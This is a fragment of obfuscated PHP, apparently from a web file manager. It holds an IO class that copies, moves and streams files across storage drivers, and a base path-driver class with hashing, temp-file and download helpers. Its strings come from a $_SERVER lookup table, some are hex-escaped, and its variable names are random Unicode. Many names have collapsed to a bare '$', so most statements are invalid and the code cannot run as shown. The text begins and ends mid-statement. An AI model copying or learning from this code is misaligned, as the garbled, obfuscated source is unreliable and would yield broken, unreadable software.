else { $ = (stripos($Ȥ, $[11]) ? $[1138] : $[12]) . ($[1139] . $Ȥ . $[1140] . $Ľ); } $Ơ[] = $; } $̵ = array($[1141] . $Ӂ . $[1142], $[1143] . $Ӂ . $[1144], implode($[50] . PHP_EOL, $Ơ), $[1145]); $ = implode(PHP_EOL, $̵); if ($β֕ && $β֕ == $[802]) { return $; } $ = array($[802] => $, $[13] => $̿); return $β֕ ? $[$β֕] : $; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($ֈ, $ۨ) { $ƪ½ =& $_SERVER[譃]; $ϐ = $ۨ; $GLOBALS[$ƪ½[1146]] = $ƪ½[1147] . $ֈ; Hook::trigger($ƪ½[1147] . $ֈ . $ƪ½[1148], $ϐ); $ = self::driverMake($ۨ[0]); if (!$) { return !1; } if (method_exists($, $ֈ)) { $܆ = @call_user_func_array(array($, $ֈ), $ۨ); } else { if (method_exists($, $ƪ½[1149])) { $܆ = @call_user_func_array(array($, $ֈ), $ۨ); } else { if (method_exists(self, $ֈ)) { $܆ = @call_user_func_array(array(self, $ֈ), $ۨ); } else { $܆ = call_user_func_array(array(parent, $ֈ), $ۨ); } } } Hook::trigger($ƪ½[1147] . $ֈ . $ƪ½[1150], $ϐ, $܆); return $܆; } public static function init($) { return self::driverMake($); } public static function copy($üә, $, $曼 = false, $ޔ = false) { return self::copyMoveStart($üә, $, $曼, $_SERVER[譃][548], $ޔ); } public static function move($, $ȗ, $ܫ = false, $ = false) { return self::copyMoveStart($, $ȗ, $ܫ, $_SERVER[譃][550], $); } private static function copyMoveStart($؏, $, $, $¶ҡ, $߳) { $ؙ =& $_SERVER[譃]; $ = array($؏, $, $, $߳); Hook::trigger($ؙ[1147] . $¶ҡ . $ؙ[1148], $); $ݟ = self::copyMove($؏, $, $, $¶ҡ, $߳); Hook::trigger($ؙ[1147] . $¶ҡ . $ؙ[1150], $, $ݟ); return $ݟ; } public static function saveFile($, $, $ԛ = true) { $Ж =& $_SERVER[譃]; $ = self::info($); $ = self::driverMake($); $ˀ = self::driverMake($); $ = !1; if ($ˀ->pathParse[$Ж[1151]]) { $ = $ˀ; $߇ = $ˀ->pathParse[$Ж[1151]]; $ˀ = self::driverMake($߇); } if ($->pathParse[$Ж[1151]]) { $ = $->pathParse[$Ж[1151]]; $ = self::driverMake($); } $ = $ˀ->pathFather($); $ = !0; if (!$ԛ && self::driverIsSame($, $ˀ)) { $ = !1; } $할 = self::copyFile($, $, $ˀ, $, $[$Ж[32]], $); if ($) { $할 = $->getPathOuter($할); } return $할; } private static function copyMove($氿, $њ, $, $݇, $ʞ = false) { $ =& $_SERVER[譃]; if (!$氿 || $氿 == $[8] || !$њ) { return !1; } ignore_timeout(); $Ӝ = self::driverMake($氿); $ = self::driverMake($њ); $Զߧ = $݇ == $[550]; $ = !1; if ($->pathParse[$[1151]]) { $ = $; $њ = $->pathParse[$[1151]]; $ = self::driverMake($њ); } if ($Ӝ->pathParse[$[1151]]) { $氿 = $Ӝ->pathParse[$[1151]]; $Ӝ = self::driverMake($氿); } self::check($Ӝ, $氿, $, $њ); Hook::trigger($[75], $Ӝ, $氿, $, $њ); $̪ = self::driverIsSame($Ӝ, $); if ($̪) { if ($݇ == $[550] && !method_exists($, $[1152]) && trim($њ, $[8]) == trim($->pathFather($氿), $[8])) { if ($Ӝ->pathThis($氿) != $ʞ && !$Ӝ->isTypeObject()) { return $Ӝ->rename($氿, $ʞ); } return $->getPathOuter($氿); } if (method_exists($, $݇)) { return $->{$݇}($氿, $њ, $, $ʞ); } } if ($̪ && $݇ == $[550] && $->getType() == $[107]) { $Ɨ = $->movePath($氿, $њ, $ʞ); if ($Ɨ) { return $Ɨ; } } $ = $Ӝ->isFile($氿); if (!$ && $->getType() == $[756] && $Ӝ->getType() == $[107]) { $Ɨ = $->copyFolderFromIO($Ӝ, $氿, $њ, $, $Զߧ, $ʞ); } else { $Ɨ = self::copyPath($Ӝ, $氿, $, $њ, $, $Զߧ, $, $ʞ); } if ($Ɨ && $Զߧ) { $Ӝ->remove($氿); } if ($) { $Ɨ = $->getPathOuter($Ɨ); } return $Ɨ; } private static function check($٣, $ֿà, $, &$) { $ =& $_SERVER[譃]; if (self::driverIsSame($٣, $) && $٣->isFolder($ֿà) && $٣->isParentOf($ֿà, $)) { show_json(LNG($[1153]), !1); } if (!$٣->exist($ֿà)) { show_json(LNG($[106]), !1); } } private static function copyPath($, $ܾ߅, $ȋ, $, $, $, $й, $ = false) { $ǡ =& $_SERVER[譃]; $ = empty($) && $ !== $ǡ[194] ? $->pathThis($ܾ߅) : $; if ($) { $ = $ȋ->fileNameExist($, $); $ = $ȋ->fileNameAuto($, $, $, !$й); $ = $ ? $ : !1; } if ($й) { return self::copyFile($, $ܾ߅, $ȋ, $, $, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $㥜 = rtrim($, $ǡ[8]) . $ǡ[8] . $; $ِñ = $ȋ->mkdir($ȋ->getPath($㥜)); $ = $ȋ->getPathInner($ِñ); $̋ = $->listPath($ܾ߅, !0); $̋ = is_array($̋) ? $̋ : array($ǡ[76] => array(), $ǡ[77] => array()); $ = array_merge($̋[$ǡ[76]], $̋[$ǡ[77]]); foreach ($ as $) { $ = $[$ǡ[33]] == $ǡ[196]; $ܾ߅ = $->getPathInner($[$ǡ[78]]); $ԥ = self::copyPath($, $ܾ߅, $ȋ, $, $, $, $); if (!$ԥ) { IO::errorTips($ǡ[1154] . $ܾ߅ . $ǡ[70] . $); } } self::copyMoveKeepInfo($, $ܾ߅, $ِñ); return $ِñ; } private static function copyFile($, $, $, $թ, $ӉÂ, $ܹ) { $Ы =& $_SERVER[譃]; $թ = $->getPath(rtrim($թ, $Ы[8]) . $Ы[8] . $ӉÂ); $ȗ = $Ы[1155] . time() . rand_string(5); Hook::trigger($Ы[1156], $, $, $, $թ, $ӉÂ, $ȗ); if (self::driverIsSame($, $)) { if ($ܹ) { $ = $->moveFile($, $թ); } else { $ = $->copyFile($, $թ); } Hook::trigger($Ы[1157], $, $, $, $թ, $ӉÂ, $); self::copyMoveKeepInfo($, $, $); return $; } $ = TEMP_FILES; if ($GLOBALS[$Ы[6]][$Ы[90]][$Ы[794]]) { $ = $GLOBALS[$Ы[6]][$Ы[90]][$Ы[794]]; } $꿹 = $; mk_dir($꿹); $ǶΜ = $꿹 . $ȗ; $ = $ǶΜ; $ǶΜ = $->download($, $ǶΜ); $ǶΜ = $->iconvApp($ǶΜ); if (substr($ǶΜ, strlen($)) == $) { $ܹ = !0; } $ = $->upload($թ, $ǶΜ, $ܹ); self::remove($); Hook::trigger($Ы[1157], $, $, $, $թ, $ӉÂ, $); self::copyMoveKeepInfo($, $, $); return $; } private static function copyMoveKeepInfo($ɌҤ, $ӏÃ, $) { if (!$) { return; } $ = $ɌҤ->info($ӏÃ); if (!is_array($)) { return; } IO::setModifyTime($, $[$_SERVER[譃][86]]); } public static function pathFather($) { $ۓ = IO::init($); $Ը = $ۓ->pathFather($ۓ->path); return $ۓ->getPathOuter($Ը); } public static function fileOut($, $ʩ = false, $ = false, $ = '') { $ = self::driverMake($); if ($->isFileOutServer()) { return $->fileOutServer($, $ʩ, $, $); } return $->fileOut($, $ʩ, $, $); } public static function fileOutImage($ٛ, $讋 = 250) { $ = array(250, 600, 1200, 2000, 3000, 5000); for ($̨ꑾ = 0; $̨ꑾ < count($); $̨ꑾ++) { if ($̨ꑾ == 0 && $讋 <= $[$̨ꑾ]) { $讋 = $[$̨ꑾ]; break; } else { if ($讋 > $[$̨ꑾ - 1] && $讋 <= $[$̨ꑾ]) { $讋 = $[$̨ꑾ]; break; } else { if ($̨ꑾ == count($) - 1 && $讋 > $[$̨ꑾ]) { $讋 = $[$̨ꑾ]; break; } } } } $ = self::driverMake($ٛ); if ($->isFileOutServer()) { return $->fileOutImageServer($ٛ, $讋); } return $->fileOutImage($ٛ, $讋); } private static function driverIsSame($Ѧ, $) { $ =& $_SERVER[譃]; $앥 = $Ѧ->getType(); $Վ = $->getType(); if ($앥 != $Վ) { return !1; } if ($앥 == $[756]) { return !0; } if ($앥 == $[107]) { return !0; } if ($Ѧ->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($Ʉ, $ǿ) { $𧇑 =& $_SERVER[譃]; if (!IO::exist($Ʉ)) { return !1; } if (!IO::exist($ǿ)) { IO::mkdir($ǿ); } $꽄 = self::_listAll($Ʉ); $ = self::_listAll($ǿ); $ = array(); $ = array(); foreach ($꽄 as $Ӗ => $) { if (isset($[$Ӗ])) { if ($[$𧇑[79]] == 1) { continue; } if ($[$Ӗ][$𧇑[80]] == $[$𧇑[80]]) { continue; } } if ($[$𧇑[79]] == 1) { $[] = $ǿ . $𧇑[8] . $Ӗ; continue; } $镁猫 = strstr(trim($Ӗ, $𧇑[8]), $𧇑[8]) ? get_path_father($Ӗ) : $𧇑[12]; $[] = array($𧇑[1158] => $[$𧇑[78]], $𧇑[1159] => rtrim($ǿ, $𧇑[8]) . $𧇑[8] . $镁猫, $𧇑[1160] => $); } $ܦ = array($𧇑[196] => $, $𧇑[79] => $); Hook::trigger($𧇑[1161], $Ʉ, $ǿ, $ܦ); foreach ($ as $) { IO::mkdir($); } foreach ($ as $) { IO::copy($[$𧇑[1158]], $[$𧇑[1159]], REPEAT_REPLACE); } } private static function _listAll($) { $֊ =& $_SERVER[譃]; $ = KodIO::clear($); $ƴ = IO::listAll($); foreach ($ƴ as &$) { $ā = substr($[$֊[78]], strlen($)); $[$֊[1162]] = trim($ā, $֊[8]); } unset($); return array_to_keyvalue($ƴ, $֊[1162]); } public static function fileSubstr($, $, $ = false) { $ =& $_SERVER[譃]; $ = self::driverMake($); $Ϻ = $->size($); $ = $; $Θ = $; if ($ < 0) { $ = $Ϻ + $; } if ($ === !1) { $ = $Ϻ - $; } if ($ + $ > $Ϻ) { $ = $Ϻ - $; } if (!$Ϻ && $->getType() == $[107] && !$->exist($)) { $ˍ = get_path_this($); $Π = parse_url_query($ˍ); if (is_array($Π) && isset($Π[$[32]])) { $ˍ = urldecode($Π[$[32]]); } throw new Exception($[1163] . LNG($[1164]) . $[966] . clear_html($ˍ) . $[12]); } if ($ <= 0) { return $[12]; } if ($ < 0 || $ >= $Ϻ || $ > 1024 * 1024 * 10) { throw new Exception("\146\x69\154\x65\x52\145\141\144\x20\x65\x72\162\157\x72\x21\x20\x73\164\141\162\x74\x3d{$}\73\154\x65\156\147\164\x68\75{$}\x3b\x20\x73\x69\x7a\x65\x3d{$Ϻ}\x3b"); } $ = $->fileSubstr($, $, $); if (!$ && $ && isset($GLOBALS[$[1165]])) { throw new Exception($GLOBALS[$[1165]][$[1166]]); } return $; } private static function driverMake(&$̹) { $ =& $_SERVER[譃]; $Ħٗ˒ = KodIO::parse($̹); if (!self::$driverListSystem) { $܊ = Model($[765])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($܊, $[396]); } if ($Ħٗ˒[$[33]] == KodIO::KOD_IO && !self::$driverListSystem[$Ħٗ˒[$[396]]]) { return !1; } $̹ = $Ħٗ˒[$[1167]]; $ = self::driverGet($Ħٗ˒, $̹); return $; } private static function driverGet($, &$ּ) { $ٽꊘ =& $_SERVER[譃]; $ = $[$ٽꊘ[1168]]; $ = $[$ٽꊘ[396]]; switch ($[$ٽꊘ[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $ּ = $ . $ּ; $ = array($ٽꊘ[1169] => $ٽꊘ[1170], $ٽꊘ[6] => $); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ƛ = $GLOBALS[$ٽꊘ[1171]]; self::$driverListUser = array_to_keyvalue($ƛ, $ٽꊘ[396]); } $ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $ = array($ٽꊘ[1169] => $ٽꊘ[1172], $ٽꊘ[6] => $); $ʂё = Action($ٽꊘ[1173])->sharePathInfo($[$ٽꊘ[78]]); $ּ = $ʂё[$ٽꊘ[399]]; if (!$ʂё[$ٽꊘ[399]]) { $ = Model($ٽꊘ[594])->getInfo($ʂё[$ٽꊘ[484]]); $ּ = KodIO::clear($[$ٽꊘ[1174]] . $[$ٽꊘ[1167]]); $[$ٽꊘ[482]] = $; $[$ٽꊘ[1151]] = $ּ; $ = array($ٽꊘ[1169] => $ٽꊘ[1175], $ٽꊘ[6] => $); } break; case KodIO::KOD_SHARE_ITEM: $ = array($ٽꊘ[1169] => $ٽꊘ[1176], $ٽꊘ[6] => $); $ = Model($ٽꊘ[594])->getInfo($[$ٽꊘ[396]]); if ($[$ٽꊘ[399]] == $ٽꊘ[194]) { $ּ = KodIO::clear($[$ٽꊘ[1174]] . $[$ٽꊘ[1167]]); $[$ٽꊘ[482]] = $; $[$ٽꊘ[1151]] = $ּ; $ = array($ٽꊘ[1169] => $ٽꊘ[1177], $ٽꊘ[6] => $); } else { if (!$ּ) { $ּ = $[$ٽꊘ[399]]; } } break; default: $ּ = $[$ٽꊘ[78]]; $ = array($ٽꊘ[1169] => $ٽꊘ[1178]); break; } $Ლ = $[$ٽꊘ[78]]; if (!isset(self::$driverCache[$Ლ])) { $ۑ = strtolower($[$ٽꊘ[96]]); $ = $GLOBALS[$ٽꊘ[6]][$ٽꊘ[90]][$ٽꊘ[824]]; $ = $ٽꊘ[74] . (isset($[$ۑ]) ? $[$ۑ] : ucfirst($ۑ)); if (!class_exists($)) { show_json("{$}\40\x6e\157\164\40\145\x78\x69\x73\x74\x73\41", !1); } $䛮 = isset($[$ٽꊘ[6]]) ? $[$ٽꊘ[6]] : !1; self::$driverCache[$Ლ] = new $($䛮); } $Ņ = self::$driverCache[$Ლ]; $Ņ->pathDriver = $; $Ņ->pathBase = $ٽꊘ[12]; if (isset($[$ٽꊘ[6]][$ٽꊘ[1179]])) { $Ņ->pathBase = rtrim($[$ٽꊘ[6]][$ٽꊘ[1179]], $ٽꊘ[8]) . $ٽꊘ[8]; $ּ = $Ņ->pathBase . ltrim($ּ, $ٽꊘ[8]); } $ּ = $Ņ->getPath($ּ); if (isset($[$ٽꊘ[1151]])) { $ּ = $[$ٽꊘ[1151]]; } $Ņ->path = $ּ; return $Ņ; } public static function errorTips($ڣ躌 = false) { $ =& $_SERVER[譃]; static $ʟ = array(); $溍 = 1000; if ($ڣ躌 === -1) { return $ʟ ? $ʟ[count($ʟ) - 1] : $[12]; } if ($ڣ躌 === !1) { return implode($[230], $ʟ); } if (count($ʟ) >= $溍) { $ʟ = array_slice($ʟ, $溍 * 0.5, $溍); } $ʟ[] = $ڣ躌; write_log($[163] . ACTION . $[1180] . $ڣ躌, $[1181]); } public static function getLastError($ = '') { $җ = self::errorTips(-1); return $җ ? $җ : $; } } goto D; Fꥥ: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public function __construct() { $꜈ =& $_SERVER[譃]; $this->objectDriver = array($꜈[60], $꜈[61], $꜈[62], $꜈[63], $꜈[64], $꜈[65], $꜈[66], $꜈[67], $꜈[68]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($矦) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($矦, $_SERVER[譃][8]); } return $矦; } public function iconvApp($) { return $; } public function iconvSystem($) { return $; } public function iconvTo($ɲ, $, $) { $ƺ =& $_SERVER[譃]; if (!$ɲ || !function_exists($ƺ[69])) { return $ɲ; } static $ի˛ = array(); $DZ = $ . $ƺ[70] . $ . $ƺ[71] . $ɲ; if (isset($ի˛[$DZ])) { return $ի˛[$DZ]; } if (function_exists($ƺ[72])) { $ݪ = @mb_convert_encoding($ɲ, $, $); } else { $ݪ = @iconv($, $, $ɲ); } $ݪ = $ݪ ? $ݪ : $ɲ; if (strstr($ݪ, $ƺ[73])) { $ݪ = str_replace($ƺ[73], $ƺ[11], $ݪ); } $ի˛[$ . $ƺ[70] . $ . $ƺ[71] . $ɲ] = $ݪ; $ի˛[$ . $ƺ[70] . $ . $ƺ[71] . $ɲ] = $ɲ; $ի˛[$ . $ƺ[70] . $ . $ƺ[71] . $ݪ] = $ɲ; $ի˛[$ . $ƺ[70] . $ . $ƺ[71] . $ݪ] = $ݪ; return $ݪ; } public function getPathInner($) { $Ћ = IO::init($); return $Ћ->path; } public function getPathOuter($ڀ) { $ =& $_SERVER[譃]; $͝ = strlen(trim($this->pathBase, $[8])); $ڀ = substr(trim($ڀ, $[8]), $͝); return $this->pathDriver . $[8] . ltrim($ڀ, $[8]); } public function isParentOf($̂, $ݸ) { $ǃ =& $_SERVER[譃]; $̂ = rtrim(strtolower($̂), $ǃ[8]) . $ǃ[8]; $ݸ = rtrim(strtolower($ݸ), $ǃ[8]) . $ǃ[8]; $ = strpos($ݸ, $̂) === 0; return $; } public function getType() { $㜒 =& $_SERVER[譃]; $̏ = str_replace($㜒[74], $㜒[12], get_class($this)); return strtolower($̏); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($ͅ, $Ґ) { $ =& $_SERVER[譃]; $ʶ = rtrim($ͅ, $[8]) . $[8] . $Ґ; $Ǯ = $this->exist($ʶ); return $Ǯ ? $ʶ : !1; } public function setModifyTime($ؤ, $ۄ = '') { } public function renameObject($ڨ, $) { $ =& $_SERVER[譃]; $ = $; Hook::trigger($[75], $this, $ڨ, $this, $this->pathFather($ڨ) . $); $ڨ = $this->getPathOuter($ڨ); $ = $this->pathFather($ڨ) . $; if (IO::isFile($ڨ)) { $ = IO::copy($ڨ, $this->pathFather($ڨ), REPEAT_RENAME_FOLDER, $); if ($) { IO::remove($ڨ); } } else { $ = IO::mkdir($); if (!$) { return !1; } $ = IO::listPath($ڨ, !0); $ߜ = array_merge($[$[76]], $[$[77]]); foreach ($ߜ as $) { IO::move($[$[78]], $, REPEAT_RENAME_FOLDER); } IO::remove($ڨ); } return $ ? $ : !1; } public function tempFile($ = '', $ƕ = '') { if (!$) { $ = rand_string(15); } $Ȕß = TEMP_FILES . rand_string(15) . $_SERVER[譃][8]; @mkdir($Ȕß, DEFAULT_PERRMISSIONS, !0); $ǎċ = $Ȕß . $; @touch($ǎċ); if ($ƕ) { file_put_contents($ǎċ, $ƕ); } return $ǎċ; } public function tempFileRemve($Т) { @unlink($Т); @rmdir($this->pathFather($Т)); } public function mkfile($, $ = '', $륒 = REPEAT_RENAME) { } public function mkdir($, $ = REPEAT_SKIP) { } public function delFile($ƞ) { } public function delFolder($˦) { } public function copyFile($啒, $ݼ) { } public function moveFile($, $ʊ) { } public function remove($Փ) { if ($this->isFile($Փ)) { return $this->delFile($Փ); } return $this->delFolder($Փ); } public function rename($, $) { } public function exist($) { } public function findByHash($ӓ = '', $١э = '') { return !1; } public function isFile($) { } public function isFolder($) { } public function size($) { } public function info($˖) { } public function infoSimple($洋) { return $this->info($洋); } public function infoAuth($պ) { return $this->info($պ); } public function infoFull($Ƀ) { return $this->info($Ƀ); } public function infoWithChildren($л) { $ԅ =& $_SERVER[譃]; static $ږ = array(); if (isset($ږ[$л])) { return $ږ[$л]; } $ = $this->info($л); if ($ && $[$ԅ[33]] == $ԅ[79]) { $ = array($ԅ[80] => 0, $ԅ[81] => 0, $ԅ[82] => 0); $this->infoChildren($л, $); $[$ԅ[80]] = $[$ԅ[80]]; $[$ԅ[83]] = array($ԅ[84] => $[$ԅ[81]], $ԅ[85] => $[$ԅ[82]]); $ږ[$л] = $; } return $; } public function listPath($, $ϻ = false) { } public function has($ʔ, $̓ = false, $ = false) { } public function canRead($Д) { } public function canWrite($聮) { } public function getContent($ڭ) { } public function setContent($Օ, $땮 = '') { } protected function infoChildren($, &$Î) { $ֈ =& $_SERVER[譃]; check_abort_echo(); $ = $this->listPath($, !0); $ = array_merge($[$ֈ[77]], $[$ֈ[76]]); foreach ($ as $ꀍ) { if ($ꀍ[$ֈ[33]] == $ֈ[79]) { $Î[$ֈ[82]]++; $ = $this->getPathInner($ꀍ[$ֈ[78]]); $this->infoChildren($, $Î); } else { $Î[$ֈ[81]]++; $Î[$ֈ[80]] += $ꀍ[$ֈ[80]]; } } } public function fileSubstr($, $ߟ, $㽡) { } public function listAll($) { } public function listAllMake($, &$) { $ɤ =& $_SERVER[譃]; check_abort_echo(); $ۘȺ = $this->listPath($, !0); if (!$ۘȺ) { return; } $ = array_merge($ۘȺ[$ɤ[77]], $ۘȺ[$ɤ[76]]); foreach ($ as $Ѡ) { $ = $Ѡ[$ɤ[33]] == $ɤ[79]; $ = array($ɤ[78] => $Ѡ[$ɤ[78]], $ɤ[79] => $); if (isset($Ѡ[$ɤ[80]])) { $[$ɤ[80]] = $Ѡ[$ɤ[80]]; } if (isset($Ѡ[$ɤ[86]])) { $[$ɤ[86]] = $Ѡ[$ɤ[86]]; } if (!$) { $[] = $; continue; } $[] = $; $Ȟ = $Ѡ[$ɤ[78]]; $ = $this->pathDriver; if (substr($Ѡ[$ɤ[78]], 0, strlen($)) == $) { $Ȟ = substr($Ȟ, strlen($)); } $this->listAllMake($Ȟ, $); } } public function listAllSimple($Փ) { $㡁 =& $_SERVER[譃]; $ = array(); $åⲮ = $this->listAll($Փ); $ = $this->getPathOuter($Փ); foreach ($åⲮ as $) { $ = $[$㡁[78]]; $Ѣ = $[$㡁[78]]; if (isset($[$㡁[87]])) { $ = $[$㡁[87]][$㡁[78]]; $[$㡁[80]] = $[$㡁[87]][$㡁[80]]; $[$㡁[86]] = $[$㡁[87]][$㡁[86]]; } else { $Ѣ = substr($[$㡁[78]], strlen(get_path_father($))); $Ѣ = $㡁[8] . ltrim($Ѣ, $㡁[8]); } $Ո = array($㡁[78] => $Ѣ, $㡁[79] => $[$㡁[79]]); if (isset($[$㡁[80]]) && !$[$㡁[79]]) { $Ո[$㡁[80]] = $[$㡁[80]]; } if (isset($[$㡁[86]])) { $Ո[$㡁[86]] = $[$㡁[86]]; } if (!$[$㡁[79]]) { $Ո[$㡁[88]] = $; } $[] = $Ո; } return $; } public function upload($Ĩ, $͢, $ = false, $͟ = REPEAT_REPLACE) { } public function uploadFileByID($錹, $, $깵) { } public function uploadFileByPath($, $Ȝ, $ = array()) { } public function isUploadServer() { $ =& $_SERVER[譃]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $[89]) { return !0; } return $GLOBALS[$[6]][$[90]][$[91]]; } public function isFileOutServer() { $ =& $_SERVER[譃]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[89]) { return !0; } return $GLOBALS[$[6]][$[90]][$[92]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($խ) { $ʱ =& $_SERVER[譃]; if (!$this->isCdnHost()) { return $խ; } return str_replace(trim(get_url_root($խ), $ʱ[8]), trim($this->cdnHost, $ʱ[8]), $խ); } public function uploadLink($, $ = 0) { $ʖɸ =& $_SERVER[譃]; if ($this->isUploadServer()) { return; } $ = $this->getType(); if (!in_array($, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ = 1024 * 1024 * 10; $揑 = $ <= $ ? $ʖɸ[93] : $ʖɸ[94]; $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $Ư = $this->{$揑}($, $); if ($Ư) { $Ư[$ʖɸ[95]] = $; $Ư[$ʖɸ[96]] = $; } return $Ư; } public function uploadFormData($, $ڰ = 3600) { } public function multiUploadFormData($, $ = 3600) { } public function download($۟, $) { } public function ext($⃭) { $ҿФ =& $_SERVER[譃]; if (strpos($⃭, $ҿФ[8]) === -1) { $ኤ = $⃭; } else { $ኤ = $this->pathThis($⃭); } $ = $ҿФ[12]; if (strstr($ኤ, $ҿФ[10])) { $ = substr($ኤ, strrpos($ኤ, $ҿФ[10]) + 1); $ = strtolower($); } if (strlen($) > 3 && preg_match($ҿФ[97], $, $ж)) { $ = $ҿФ[12]; } return $; } public function pathThis($) { $ =& $_SERVER[譃]; $ = str_replace($[98], $[8], rtrim($, $[8])); $ň = strrpos($, $[8]); if ($ň === !1) { return $; } return substr($, $ň + 1); } public function pathFather($ȝ) { $ˉ =& $_SERVER[譃]; $ȝ = str_replace($ˉ[98], $ˉ[8], rtrim($ȝ, $ˉ[8])); $ً = strrpos($ȝ, $ˉ[8]); if ($ً === !1) { return $ˉ[12]; } return substr($ȝ, 0, $ً + 1); } public function hashSimple($) { $æ =& $_SERVER[譃]; if (!$) { return md5($æ[12]); } $ = $this->size($); $ͽ = 200; $¦ă = 50; if ($ <= $ͽ * $¦ă) { return $this->hashMd5($) . $; } $ = intval($ / $¦ă); $ = $æ[12]; for ($º = 0; $º < $¦ă; $º++) { $ .= $this->fileSubstr($, $ * $º, $ͽ); } $ .= $this->fileSubstr($, $ - $ͽ, $ͽ); return md5($) . $; } public static $md5Cache = array(); public function hashMd5($ʼn) { if (!$ʼn) { return md5($_SERVER[譃][12]); } $ʼn = $this->iconvSystem($ʼn); if (isset(self::$md5Cache[$ʼn])) { return self::$md5Cache[$ʼn]; } self::$md5Cache[$ʼn] = $this->hashMd5Shell($ʼn); if (!self::$md5Cache[$ʼn]) { self::$md5Cache[$ʼn] = @md5_file($ʼn); } return self::$md5Cache[$ʼn]; } private function hashMd5Shell($) { $ޓ =& $_SERVER[譃]; if (!$) { return md5($ޓ[12]); } if (!function_exists($ޓ[99])) { return !1; } $劻 = array($ޓ[100], $ޓ[101]); $ = Cache::get($ޓ[102]); if (!$) { $獼 = BASIC_PATH . $ޓ[103]; $∋ = md5_file($獼); $ = $ޓ[104]; foreach ($劻 as $֖) { $¯ = shell_exec($֖ . "\40\x22{$獼}\42"); if ($¯ && substr(trim($¯), 0, 32) == $∋) { $ = $֖; break; } } Cache::set($ޓ[102], $, 3600); } if ($ == $ޓ[104]) { return !1; } $¯ = shell_exec($ . "\x20\42{$}\42"); $¯ = str_replace($ޓ[105], $ޓ[12], $¯); return substr($¯, 0, 32); } public function link($ٍ) { return $ٍ; } public function fileOut($, $ת = false, $ۮ = false, $ = '') { $ =& $_SERVER[譃]; $this->cacheMethod(null, null); if (!$ || !$this->exist($)) { show_json(LNG($ [106]), !1, $ۮ); } $Р¡ = $this->getType() == $ [107]; $ = $GLOBALS[$ [6]][$ [90]][$ [108]][$ [109]]; $␀ = (double) $GLOBALS[$ [6]][$ [90]][$ [108]][$ [110]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ܢ = $this->infoFull($); $ = $ܢ[$ [80]]; $ģ = gmdate($ [111], $ܢ[$ [86]]); $؏̗ = $ۮ ? $ۮ : $this->iconvApp($ܢ[$ [32]]); $ = 0; $ڢ = $ - 1; $ = $this->ext($؏̗); if (in_array($, array($ [112], $ [113], $ [114], $ [115]))) { $ = $ [116]; } if (in_array($, array($ [117]))) { $ = $ [118]; } if (!$) { $ = md5($ģ . $this->hashSimple($)); } $ = $ [119] . $ . $ [119]; $⮙ = get_file_mime($); $ = !1; if (isset($_GET[$ [120]])) { $ = !0; } if ($ת === !1 && !mime_support($⮙)) { $⮙ = $ [121]; } header($ [122]); header($ [123] . $⮙); $Њ = rawurlencode($؏̗); $Њ = $ [119] . $Њ . $ [124] . $Њ; if ($ת) { header($ [125]); header($ [126] . $Њ); } else { if ($) { header($ [127] . $Њ); } } header($ [128] . gmdate($ [111], time() + 3600 * 24 * 30) . $ [129]); header($ [130]); header($ [131]); header($ [132]); if (isset($_SERVER[$ [133]]) && strtotime($_SERVER[$ [133]]) == $ܢ[$ [86]]) { header($ [134], !0, 304); die; } if (isset($_SERVER[$ [135]]) && $_SERVER[$ [135]] == $) { header($ [136] . $, !0, 304); die; } header($ [136] . $); header($ [137] . $ģ . $ [129]); header($ [138] . $؏̗); header($ [139]); header($ [140] . $); header($ [141]); if (!$ת && $ == $ [142]) { if ($ > 1024 * 1024 * 5) { die; } $ջ = $this->getContent($); $ջ = Html::clearSVG($ջ); header($ [143] . strlen($ջ)); echo $ջ; die; } $ = strtolower($_SERVER[$ [144]]); if ($Р¡ && $ && $) { if (strstr($, $ [145])) { header($ [146] . $); } else { if (strstr($, $ [147])) { header($ [148] . $); } else { if (strstr($, $ [149])) { header($ [150] . $); } } } if ($␀) { header($ [151] . $␀); } return; } if (isset($_SERVER[$ [152]])) { if (preg_match($ [153], $_SERVER[$ [152]], $ɐ)) { $ = intval($ɐ[1]); if (!empty($ɐ[2])) { $ڢ = intval($ɐ[2]); } } header($ [154]); header("\x43\x6f\156\x74\145\x6e\164\x2d\x52\141\156\147\145\x3a\40\142\171\164\x65\x73\40{$}\55{$ڢ}\57" . $); } else { header($ [155]); } header($ [156]); $椅 = !0; if ($_SERVER[$ [157]] == $ [158] && $ > 1204 * 1024 * 1024 * 2) { $椅 = !1; } if ($椅) { header($ [159] . ($ڢ - $ + 1)); } if ($_SERVER[$ [160]] == $ [161]) { return; } $ = 1024 * 100; $ϳ = 0; if ($␀) { $ϳ = intval(1000 * 1000 * ($ / $␀)); } while ($ <= $ڢ) { $Ն = timeFloat(); check_abort(); $˱ = $ڢ - $ + 1; if ($˱ <= $) { $ = $˱; } echo $this->fileSubstr($, $, $); $ += $; if ($ == $˱) { $ = $ڢ + 1; } if ($ϳ) { $ב柽 = intval(1000 * 1000 * (timeFloat() - $Ն)); $ = $ϳ - $ב柽; if ($ > 5) { usleep($); } } } } public function fileOutServer($㰪, $Ƃ = false, $ׁ = false, $̯ = '') { $this->fileOut($㰪, $Ƃ, $ׁ, $̯); } public function fileOutLink($С) { header($_SERVER[譃][162] . $С); die; } public function cacheMethod($䗮Ӻ, $ؑ, $ = null) { $ю =& $_SERVER[譃]; static $м = array(); $ŕ = $ؑ ? ltrim($this->getPathOuter($ؑ), $ю[8]) : $ؑ; $ = $ю[163] . $䗮Ӻ . $ю[164] . 